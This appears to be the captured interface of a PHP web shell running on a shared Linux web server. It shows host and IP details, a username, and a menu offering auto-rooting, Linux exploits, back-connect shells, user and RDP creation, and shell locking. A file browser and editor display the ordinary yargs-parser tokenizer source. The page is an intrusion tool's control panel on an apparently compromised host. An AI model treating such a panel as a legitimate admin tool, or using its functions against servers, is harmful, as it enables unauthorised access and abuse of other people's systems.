Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.13
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
nodejs /
yargs-parser /
build /
lib /
[ HOME SHELL ]
Name
Size
Permission
Action
index.d.ts
310
B
-rw-r--r--
index.js
2.16
KB
-rw-r--r--
string-utils.d.ts
311
B
-rw-r--r--
string-utils.js
2.04
KB
-rw-r--r--
tokenize-arg-string.d.ts
168
B
-rw-r--r--
tokenize-arg-string.js
1.07
KB
-rw-r--r--
yargs-parser-types.d.ts
8.17
KB
-rw-r--r--
yargs-parser-types.js
425
B
-rw-r--r--
yargs-parser.d.ts
352
B
-rw-r--r--
yargs-parser.js
45.71
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : tokenize-arg-string.js
/** * @license * Copyright (c) 2016, Contributors * SPDX-License-Identifier: ISC */ // take an un-split argv string and tokenize it. export function tokenizeArgString(argString) { if (Array.isArray(argString)) { return argString.map(e => typeof e !== 'string' ? e + '' : e); } argString = argString.trim(); let i = 0; let prevC = null; let c = null; let opening = null; const args = []; for (let ii = 0; ii < argString.length; ii++) { prevC = c; c = argString.charAt(ii); // split on spaces unless we're in quotes. if (c === ' ' && !opening) { if (!(prevC === ' ')) { i++; } continue; } // don't split the string if we're in matching // opening or closing single and double quotes. if (c === opening) { opening = null; } else if ((c === "'" || c === '"') && !opening) { opening = c; } if (!args[i]) args[i] = ''; args[i] += c; } return args; }
Close